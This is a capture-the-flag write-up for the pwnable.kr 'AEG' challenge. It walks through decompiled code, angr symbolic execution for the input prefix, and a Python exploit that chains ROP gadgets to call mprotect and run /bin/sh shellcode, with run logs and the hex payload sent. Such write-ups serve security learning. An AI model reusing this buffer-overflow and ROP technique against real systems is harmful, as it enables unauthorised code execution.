The challenge

The challenge text on pwntable:

How fast can you pwn me?

Running at : nc pwnable.kr 9005

Connecting, we are given a base64 block.

$ nc pwnable.kr 9005
---------------------------------------------------
-  Welcome to AEG (Automatic Exploit Generation)  -
---------------------------------------------------

I will send you a newly compiled binary (probably exploitable) in base64 format
after you get the binary, I will be waiting for your input as a plain text
when your input is given, I will execute the binary with your input as argv[1]
you have 10 seconds to build exploit payload
wait...
H52Qf4owMSIgQAAACBMmFADAB4CDCSHIgIgQiMKEiGJIuKjQIg4ACgBY5ABgAwA
... (many lines ommited) ...
ACGanhDCeu6EcUFELMSGUKXHojPmzOeQEivBIJYQmWKYXwR0YSgoB
here, get this binary and give me some crafted argv[1] for explotation
remember you only have 10 seconds... hurry up!

Which turns out to be a gzip file containing a 64-bit elf binary:

$ base64 -d code.b64 | gunzip > code
$ file code
code: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, 
BuildID[sha1]=93d03499bda0024094b1cf49f0fc80aa962037b3, stripped

Disassembling in IDA, we find that main looks something like this:

int __cdecl main(int argc, const char **argv, const char **envp) {
  int result;           // eax@2
  unsigned int v4;      // eax@3
  signed __int64 v5;    // rcx@3
  const char *v6;       // rdi@3
  bool v7;              // zf@5
  char *v8;             // rdx@9
  int v9;               // [sp+28h] [bp-28h]@8
  int v10;              // [sp+2Ch] [bp-24h]@8
  int v11;              // [sp+30h] [bp-20h]@0
  int v12;              // [sp+34h] [bp-1Ch]@0
  int v13;              // [sp+38h] [bp-18h]@0
  int i;                // [sp+3Ch] [bp-14h]@11
  const char v15;       // [sp+40h] [bp-10h]@9
  const char v16;       // [sp+41h] [bp-Fh]@9
  char v17;             // [sp+42h] [bp-Eh]@9

  if ( argc == 2 ) {
    // Find length of arg1
    v4 = sub_42399C6(1LL, 2LL, 3LL, 4LL, 5LL, 6LL);
    srand(v4);
    v5 = -1LL;
    v6 = argv[1];
    do {
      if ( !v5 ) break;
      v7 = *v6++ == 0;
      --v5;
    } while ( !v7 );
    arg1_len = (unsigned __int64)(~v5 - 1) >> 1;
    
    // Test if decoded arg1 <= 1000 bytes
    if ((~v5 - 1) >> 1) <= 1000 ) {
      // Decode from hex
      v9 = 0;
      v10 = 0;
      while ( 2 * arg1_len > v9 ) {
        v15 = argv[1][v9];
        v16 = argv[1][v9 + 1];
        v17 = 0;
        v8 = &byte_443C8C0[(signed __int64)v10++];
        __isoc99_sscanf(&v15, 69443144LL, v8);
        v9 += 2;
      }

      // Apply XOR pad
      for ( i = 0; i < arg1_len; ++i ) {
        if ( (_BYTE)v11 == -23 && (_BYTE)v12 == -97 && 31 * (_BYTE)v12 + 81 - (_BYTE)v13 == 41 )
          v12 = v11++;
        if ( (_BYTE)v11 == 28 && (_BYTE)v12 == 48 && 75 * (_BYTE)v12 - 44 - (_BYTE)v13 == 93 )
          v13 = v12++;
        if ( i & 1 )
          byte_443C8C0[(signed __int64)i] ^= 0x25u;
        else
          byte_443C8C0[(signed __int64)i] ^= 0xCFu;
        if ( (_BYTE)v11 == -23 && (_BYTE)v12 == -97 && 31 * (_BYTE)v12 + 81 - (_BYTE)v13 == 41 )
          v12 = v11 - v13;
      }

      // ?
      puts("payload encoded. let's go!");
      prefix1((unsigned __int8)byte_443C8C0[0], (unsigned __int8)byte_443C8C1, (unsigned __int8)byte_443C8C2);
      puts("end of program");
      result = 0;
    } else {
      puts("payload length exceeds 1000byte");
      result = 0;
    }
  } else {
    puts("usage : ./aeg [hex encoded payload]");
    result = 0;
  }
  return result;
}

Hopefully the comments makes the action of the code above clear. Our input comes in as arg1, then the length of the input is calculated and checked, afterward it is decoded from hex and xored with a 2-byte pad (\xCF\x25). The input x to prefix1, is therefore encoded as arg1 = hex(xor(x, pad)) and x can be at most 1000 bytes long. Lets take a look at prefix1:

char __fastcall prefix1(char a1, char a2, char a3) {
  char result; // al@1
  result = a3;
  if ( a1 == -50 ) {
    result = 24 - a2;
    if ( a2 == -36 ) {
      result = 46 * a1 + 82 * a2 - a3;
      if ( result == 13 )
        result = prefix2(byte_443C8C3, byte_443C8C4, byte_443C8C5);
    }
  }
  return result;
}

So it checks the first 3 bytes of our payload. What about prefix2?

char __fastcall prefix2(char a1, char a2, char a3) {
  char result; // al@1
  result = a3;
  if ( a1 == 51 ) {
    result = -118 - a2;
    if ( a2 == 59 )
    {
      result = 76 * a1 + 84 * a2 - a3;
      if ( result == 78 )
        result = prefix3(byte_443C8C6, byte_443C8C7, byte_443C8C8);
    }
  }
  return result;
}

Looks familiar. In fact there are a bunch of these calls, each checking 3 bytes at the beginning of our payload. Eventually they end up in:

void *sploit() {
  char dest; // [sp+0h] [bp-30h]@1
  return memcpy(&dest, &unk_443C8F0, arg1_len - 48);
}

Which contains an obvious buffer overflow. ASLR and DEP are enabled.

Dynamic elements

Unfortunatly every binary send to us is slightly different. The xor pad changes, the prefix functions vary… I could not find a clean way to solve this, so I ended up using objdump and regular expressions:

import re
from pwn import *

# Mistakes were made

context.log_level = 'error'

def get_addresses(path):
    # Objdump all the segments
    res = {}
    o = ''
    p = process(['objdump', '-S', '-M', 'intel', path])
    while 1:
        try:
            o += p.recv(1024)
        except EOFError:
            break

    # Seg
    hex_rex = '([\dabcdef]*)'
    put_rex = '<puts@plt>\n'
    rex = put_rex + '.{0,1024}?' + put_rex
    seg = re.search(rex, o, flags = re.DOTALL).group(0)

    # Find start
    start = re.search(hex_rex + ':', seg).group(1)
    res['start'] = int(start, 16)

    # Find buf
    buf = re.findall('movzx  eax,.*?# ' + hex_rex, seg)
    res['buf'] = min(map(lambda x: int(x, 16), buf))

    # Find avoid
    avoid = re.search(hex_rex + ':', seg.split('\n')[-3]).group(1)
    res['avoid'] = int(avoid, 16)

    # Find target
    target = re.search('\n(.*)?<memcpy@plt>:', o).group(1)
    res['target'] = int(target, 16)

    # Find xor pad
    s = re.search('xor.{0,1024}?.xor.*?\n', o, flags = re.DOTALL).group(0)
    s = re.findall('xor.*?,.*?\n', s)
    s = map(lambda x: x.split(',')[-1], s)
    s = map(lambda x: int(x, 16) % 0xff, s)
    res['pad'] = map(chr, s)

    # Find load gadget
    s = re.search(hex_rex + ':.*?mov.*?rdi,QWORD PTR \[rbp-0x' + hex_rex, o)
    res['load_gadget'] = int(s.group(1).strip(), 16)
    res['load_offset'] = int(s.group(2).strip(), 16)
    print 'Load gadget = 0x%x' % res['load_gadget']
    print 'Load offset = 0x%x' % res['load_offset']

    # Find mprotect
    s = re.search(hex_rex + ' <mprotect@plt>', o).group(1).strip()
    res['plt_mprotect'] = int(s, 16)
    print 'Mprotect = 0x%x' % res['plt_mprotect']

    # Find buffer location
    s = re.search('ecx,0x' + hex_rex + '.{0,512}rax,\[rbp-0x' + hex_rex + '\].{0,512}<memcpy@plt>', o, flags = re.DOTALL)
    res['buf_loc'] = int(s.group(1), 16)
    res['overflow_size'] = int(s.group(2), 16)
    print 'Buffer location = 0x%x' % res['buf_loc']
    print 'Buffer overflow size = 0x%x' % res['overflow_size']

    print 'Buf = 0x%x' % res['buf']
    print 'Start = 0x%x' % res['start']
    print 'Avoid = 0x%x' % res['avoid']
    print 'Target = 0x%x' % res['target']

I am convinced there is a (much) better way.

Channeling angr

If you do not already known angr, you should check it out. One of angr’s prime features is the ability to do symbolic execution. This allows us to ask angr what the start of our payload should contain for execution to hit memcpy (pass all the requirements enforeced by the prefix functions). Essenctially you tell angr: “There is some data, I don’t know that it is, but I want the data to achieve these goals (e.g reach IP = something). What should data contain?”

tar = 'code'

# Find dynamic elements in file
loc = find.get_addresses(tar)

# Create symbolic buffer
p = angr.Project(tar)
buf = angr.claripy.BVS("buf",48*8)
start_state = p.factory.blank_state(addr=loc['start'])
start_state.memory.store(loc['buf'], buf)

# Setup a stack frame
start_state.regs.rbp = start_state.regs.rsp
start_state.regs.rsp = start_state.regs.rsp - 0x50
start_state.memory.store(start_state.regs.rsp, start_state.se.BVV(0, 8*0x32))

# Setup stepper
pg = p.factory.path_group(start_state)
def step_func(pg):
    pg.drop(filter_func = lambda path: path.addr == loc['avoid'])
    pg.stash(filter_func = lambda path: path.addr == loc['target'], from_stash='active', to_stash='found')
    return pg
pg.step(step_func = step_func, until = lambda pg: len(pg.found) > 0)
f = pg.found[0]
cert = f.state.se.any_str(buf)

Lets break it down

We start by defining a symbolic buffer (angr.claripy.BVS), which tells angr what there is some bits it can manipulate. We then insert this buffer in the start of our payload (the decoded data in bss).

# Create symbolic buffer
p = angr.Project(tar)
buf = angr.claripy.BVS("buf",48*8)
start_state = p.factory.blank_state(addr=loc['start'])
start_state.memory.store(loc['buf'], buf)

We create a dummy stack for angr (I’m still not 100% certain as to why this is needed)

# Setup a stack frame
start_state.regs.rbp = start_state.regs.rsp
start_state.regs.rsp = start_state.regs.rsp - 0x50
start_state.memory.store(start_state.regs.rsp, start_state.se.BVV(0, 8*0x32))

We define the stepper function, the our step_func takes a path group:

  1. If the path has returned out of the prefix functions, kill this path.
  2. If the path has reached memcpy, move it to the found stash

After filtering and returning the new path group, angr steps once before calling step_func again.

# Setup stepper
pg = p.factory.path_group(start_state)
def step_func(pg):
    print pg
    pg.drop(filter_func = lambda path: path.addr == loc['avoid'])
    pg.stash(filter_func = lambda path: path.addr == loc['target'], from_stash='active', to_stash='found')
    return pg
pg.step(step_func = step_func, until = lambda pg: len(pg.found) > 0)
print pg.errored
f = pg.found[0]
print f.state
cert = f.state.se.any_str(buf)

We continue stepping until one of the paths has reached memcpy (the found stash is non-empty), then we ask angr to find a concrete value for the symbolic buffer (f.state.se.any_str(buf))

pg.step(step_func = step_func, until = lambda pg: len(pg.found) > 0)
print pg.errored
f = pg.found[0]
print f.state
cert = f.state.se.any_str(buf)

This is by no means a full tutorial on angr and its application goes way beyond whats described here. It seems like a really useful tool for CTF.

Gadgets

After inspecting the binary in objdump we find mprotect in addition to the following gadget:

42399e6: 4c 8b 45 b0           mov    r8,QWORD PTR [rbp-0x50]
42399ea: 48 8b 7d a0           mov    rdi,QWORD PTR [rbp-0x60]
42399ee: 48 8b 4d a8           mov    rcx,QWORD PTR [rbp-0x58]
42399f2: 48 8b 55 c0           mov    rdx,QWORD PTR [rbp-0x40]
42399f6: 48 8b 75 b8           mov    rsi,QWORD PTR [rbp-0x48]
42399fa: 48 8b 45 c8           mov    rax,QWORD PTR [rbp-0x38]
42399fe: 4d 89 c1              mov    r9,r8
4239a01: 49 89 f8              mov    r8,rdi
4239a04: 48 89 c7              mov    rdi,rax
4239a07: e8 97 ff ff ff        call   42399a3 <mprotect@plt+0x3e39253>
4239a0c: 89 45 fc              mov    DWORD PTR [rbp-0x4],eax
4239a0f: 8b 45 fc              mov    eax,DWORD PTR [rbp-0x4]
4239a12: c9                    leave  
4239a13: c3                    ret    

It turns out that we are not always lucky with the function being called, sometimes we get:

75229eb: 4c 8b 45 b0           mov    r8,QWORD PTR [rbp-0x50]
75229ef: 48 8b 7d a0           mov    rdi,QWORD PTR [rbp-0x60]
75229f3: 48 8b 4d a8           mov    rcx,QWORD PTR [rbp-0x58]
75229f7: 48 8b 55 c0           mov    rdx,QWORD PTR [rbp-0x40]
75229fb: 48 8b 75 b8           mov    rsi,QWORD PTR [rbp-0x48]
75229ff: 48 8b 45 c8           mov    rax,QWORD PTR [rbp-0x38]
7522a03: 4d 89 c1              mov    r9,r8
7522a06: 49 89 f8              mov    r8,rdi
7522a09: 48 89 c7              mov    rdi,rax
7522a0c: e8 97 ff ff ff        call   75229a8 <getppid@plt+0x7122208>
7522a11: 89 45 fc              mov    DWORD PTR [rbp-0x4],eax
7522a14: 8b 45 fc              mov    eax,DWORD PTR [rbp-0x4]
7522a17: c9                    leave  
7522a18: c3                    ret    

The rbp offset (later called “load offset”) also changes:

56389ec: 4c 8b 45 d0           mov    r8,QWORD PTR [rbp-0x30]
56389f0: 48 8b 7d c0           mov    rdi,QWORD PTR [rbp-0x40]
56389f4: 48 8b 4d c8           mov    rcx,QWORD PTR [rbp-0x38]
56389f8: 48 8b 55 e0           mov    rdx,QWORD PTR [rbp-0x20]
56389fc: 48 8b 75 d8           mov    rsi,QWORD PTR [rbp-0x28]
5638a00: 48 8b 45 e8           mov    rax,QWORD PTR [rbp-0x18]
5638a04: 4d 89 c1              mov    r9,r8
5638a07: 49 89 f8              mov    r8,rdi
5638a0a: 48 89 c7              mov    rdi,rax
5638a0d: e8 97 ff ff ff        call   56389a9 <mprotect@plt+0x52381b9>
5638a12: 89 45 f8              mov    DWORD PTR [rbp-0x8],eax
5638a15: 8b 45 f8              mov    eax,DWORD PTR [rbp-0x8]
5638a18: c9                    leave  
5638a19: c3                    ret    

The idea is use mprotect to make our buffer (in bss) executable, then jump to shellcode. We want to construct a ROP chain which works every time.

Constructing a ROP chain

With this in mind, we construct our ROP chain:

# Payload layout
mprotect_offset = 0x200
shellcode_offset = 0x300

# Calculate addresses
mprotect_addr = loc['buf_loc'] + mprotect_offset
shellcode_addr = loc['buf_loc'] + shellcode_offset
print 'Mprotect arguments @ 0x%x' % mprotect_addr
print 'Shellcode @ 0x%x' % shellcode_addr

# First RIP override (jump to load gadget)
kill = ''
kill += cyclic(loc['overflow_size'], alphabet = 'ABCD')
kill += p64(mprotect_addr + loc['load_offset'])
kill += p64(loc['load_gadget'])

# Setup mprotect arguments
shellcode_address = loc['buf_loc'] + shellcode_offset
page = shellcode_address & 0xFFFFFFFFFFFFF000
print 'Page = 0x%x' % page
kill += cyclic(mprotect_offset - len(kill), n = 8) # Pad payload
kill += p64(page)                           # RDI
kill += p64(0x1338)                         # RCX (junk)
kill += p64(0x1337)                         # R8  (junk)
kill += p64(0x10000)                        # RSI
kill += p64(0x7)                            # RDX
kill += p64(page)                           # RAX (since RDI <- RAX)

# Second ROP chain
kill += cyclic(loc['load_offset'] - 0x30, n = 8)   # Get to RBP (RBP now points here)
kill += p64(loc['buf_loc'] + 0x600)
kill += p64(loc['plt_mprotect'])
kill += p64(shellcode_address)

# Shellcode
kill += cyclic(shellcode_offset - len(kill), n = 8)
kill += asm(shellcraft.sh())

# Write payload
payload = xor(cert + kill, loc['pad'], cut = 'max')
write('sploit', payload.encode('hex'))
conn.sendline(payload.encode('hex'))
conn.interactive()

Lets break it down

# Payload layout
mprotect_offset = 0x200
shellcode_offset = 0x300

# Calculate addresses
mprotect_addr = loc['buf_loc'] + mprotect_offset
shellcode_addr = loc['buf_loc'] + shellcode_offset
print 'Mprotect arguments @ 0x%x' % mprotect_addr
print 'Shellcode @ 0x%x' % shellcode_addr

# First RIP override (jump to load gadget)
kill = ''
kill += cyclic(loc['overflow_size'], alphabet = 'ABCD')
kill += p64(mprotect_addr + loc['load_offset'])
kill += p64(loc['load_gadget'])

# Setup mprotect arguments
shellcode_address = loc['buf_loc'] + shellcode_offset
page = shellcode_address & 0xFFFFFFFFFFFFF000
print 'Page = 0x%x' % page
kill += cyclic(mprotect_offset - len(kill), n = 8) # Pad payload
kill += p64(page)                           # RDI
kill += p64(0x1338)                         # RCX (junk)
kill += p64(0x1337)                         # R8  (junk)
kill += p64(0x10000)                        # RSI
kill += p64(0x7)                            # RDX
kill += p64(page)                           # RAX (since RDI <- RAX)

This part loads our arguments for mprotect. We override the SFP (saved RBP) with the load offset added to the address of our mprotect arguments (remember the buffer has a static address). We let the return address be the start of our load gadget (discussed in gadgets). FYI cyclic generates a De Bruijn sequence (here used for padding), this is also useful for debugging.

# Second ROP chain
kill += cyclic(loc['load_offset'] - 0x30, n = 8)   # Get to RBP (RBP now points here)
kill += p64(loc['buf_loc'] + 0x600)
kill += p64(loc['plt_mprotect'])
kill += p64(shellcode_address)

# Shellcode
kill += cyclic(shellcode_offset - len(kill), n = 8)
kill += asm(shellcraft.sh())

After running the load gadget, RBP points below the mprotect arguments, we therefore add padding to reach the address in RBP. Override SFP again, this time just to avoid the program crashing on us or messing up our payload. Then we set the return address to mprotect. After the call to mprotect, the shellcode buffer (at the end of our payload) should be executable and we return to it (kill += p64(shellcode_address)).

# Write payload
payload = xor(cert + kill, loc['pad'], cut = 'max')
conn.sendline(payload.encode('hex'))
conn.interactive()

We add the prefix (see previous section on angr) required to bypass the prefix functions and xor with the pad. Finally we send this to the remote (to be executed as arg1).

Winning

rot256@SATI ~/w/p/aeg> python2 attack.py
INFO    | 2016-04-02 17:10:15,853 | pwnlib.tubes.remote | Opening connection to pwnable.kr on port 9005
INFO    | 2016-04-02 17:10:15,854 | pwnlib.tubes.remote | Opening connection to pwnable.kr on port 9005: Trying 143.248.249.64
INFO    | 2016-04-02 17:10:16,180 | pwnlib.tubes.remote | Opening connection to pwnable.kr on port 9005: Done
INFO    | 2016-04-02 17:10:25,457 | pwnlib.tubes.process | Starting program '/usr/bin/objdump' argv=['objdump', '-S', '-M', 'intel', 'code'] 
INFO    | 2016-04-02 17:10:25,462 | pwnlib.tubes.process | Starting program '/usr/bin/objdump' argv=['objdump', '-S', '-M', 'intel', 'code'] : Done
Load gadget = 0x2836a2b
Load offset = 0x50
Mprotect = 0x400860
Buffer location = 0x2a390b0
Buffer overflow size = 0x20
Buf = 0x2a39080
Start = 0x2836d18
Avoid = 0x2836d3f
Target = 0x400810
0b60fce3264422c51600e5f912becfd38d712509db0faf345328cc2f1429cee4bd1ab3d308058e23b5411261e75002fe
Mprotect arguments @ 0x2a392b0
Shellcode @ 0x2a393b0
Page = 0x2a39000
DEBUG   | 2016-04-02 17:10:31,459 | pwnlib.asm | cpp -C -nostdinc -undef -P -I/usr/lib/python2.7/site-packages/pwntools-2.2.0-py2.7.egg/pwnlib/data/includes /dev/stdin
DEBUG   | 2016-04-02 17:10:31,466 | pwnlib.asm | Assembling
.section .shellcode,"ax"
.intel_syntax noprefix
    /* push '/bin///sh\x00' */
    push 0x68
Load gadget = 0x2836a2b
Load offset = 0x50
Mprotect = 0x400860
Buffer location = 0x2a390b0
Buffer overflow size = 0x20
Buf = 0x2a39080
Start = 0x2836d18
Avoid = 0x2836d3f
Target = 0x400810
0b60fce3264422c51600e5f912becfd38d712509db0faf345328cc2f1429cee4bd1ab3d308058e23b5411261e75002fe
Mprotect arguments @ 0x2a392b0
Shellcode @ 0x2a393b0
Page = 0x2a39000
 and give me some crafted argv[1] for explotation
remember you only have 10 seconds... hurry up!
executing the binary with your input a92a5ea9840e808fb44a47b3b0f46d992f3b874379450d7ef1626e65b6636cae1f501199aa4f2c69170bb02b451aa0b4e30be30be00be30be10be30be60be308e00be308e10be308e60be309e00be309a2d90148a24aa24a89202148a24aa24ac32bc32bc32bc32bc02bc32bc32bc32bc12bc32bc32bc32bc62bc32bc32bc32bc72bc32bc32bc32bc42bc32bc32bc32bc52bc32bc32bc32bca2bc32bc32bc32bcb2bc32bc32bc32bc82bc32bc32bc32bc92bc32bc32bc32bce2bc32bc32bc32bcf2bc32bc32bc32bcc2bc32bc32bc32bcd2bc32bc32bc32bd22bc32bc32bc32bd32bc32bc32bc32bd02bc32bc32bc32bd12bc32bc32bc32bd62bc32bc32bc32bd72bc32bc32bc32bd42bc32bc32bc32bd52bc32bc32bc32bda2bc32bc32bc32bdb2bc32bc32bc32bd82bc32bc32bc328c02bc32bc32bc328c12bc32bc32bc328c62bc32bc32bc328c72bc32bc32bc328c42bc32bc32bc328c52bc32bc32bc328ca2bc32bc32bc328cb2bc32bc32bc328c82bc32bc32bc328c92bc32bc32bc328ce2bc32bc32bc328cf2bc32bc32bc328cc2bc32bc32bc328cd2bc32bc32bc328d22bc32bc32bc328d32bc32bc32bc328d02bc32bc32bc328d12bc32bc32bc328d62bc32bc32bc328d72bc32bc32bc328d42bc32bc32bc328d52bc32bc32bc328da2bc32bc32bc328db2bc32bc32bc328d82bc32bc32bc329c02bc32bc32bc329c12bc32bc32bc329c62bc32bc32bc329c72bc32bc32bc329c42bc32bc32bc329c52bc32bc32bc329ca2bc32bc32bc329a2da0148a24aa24a9a59a24aa24aa24a9559a24aa24aa24aa24aa34aa24aa24aa54aa24aa24aa24aa2da0148a24aa24ac32bc32bc32bc32bc02bc32bc32bc32bc12bc32bc32bc32bc62bc32bc32bc32b12dc0148a24aa24ac242e24aa24aa24a12d90148a24aa24ac32bc32bc32bc32bc02bc32bc32bc32bc12bc32bc32bc32bc62bc32bc32bc32bc72bc32bc32bc32bc42bc32bc32bc32bc52bc32bc32bc32bca2bc32bc32bc32bcb2bc32bc32bc32bc82bc32bc32bc32bc92bc32bc32bc32bce2bc32bc32bc32bcf2bc32bc32bc32bcc2bc32bc32bc32bcd2bc32bc32bc32bd22bc32bc32bc32bd32bc32bc32bc32bd02bc32bc32bc32bd12bc32bc32bc32bc822eaf28d28cb248d658d39f2022bad93bcc871fad3ad4f...
time expired! bye!
$ ls
aeg.py
flag
generate.py
log
source
super.pl
$ cat flag
NOPE YOU DONT GET TO SEE THE FLAG

The full code can be found on github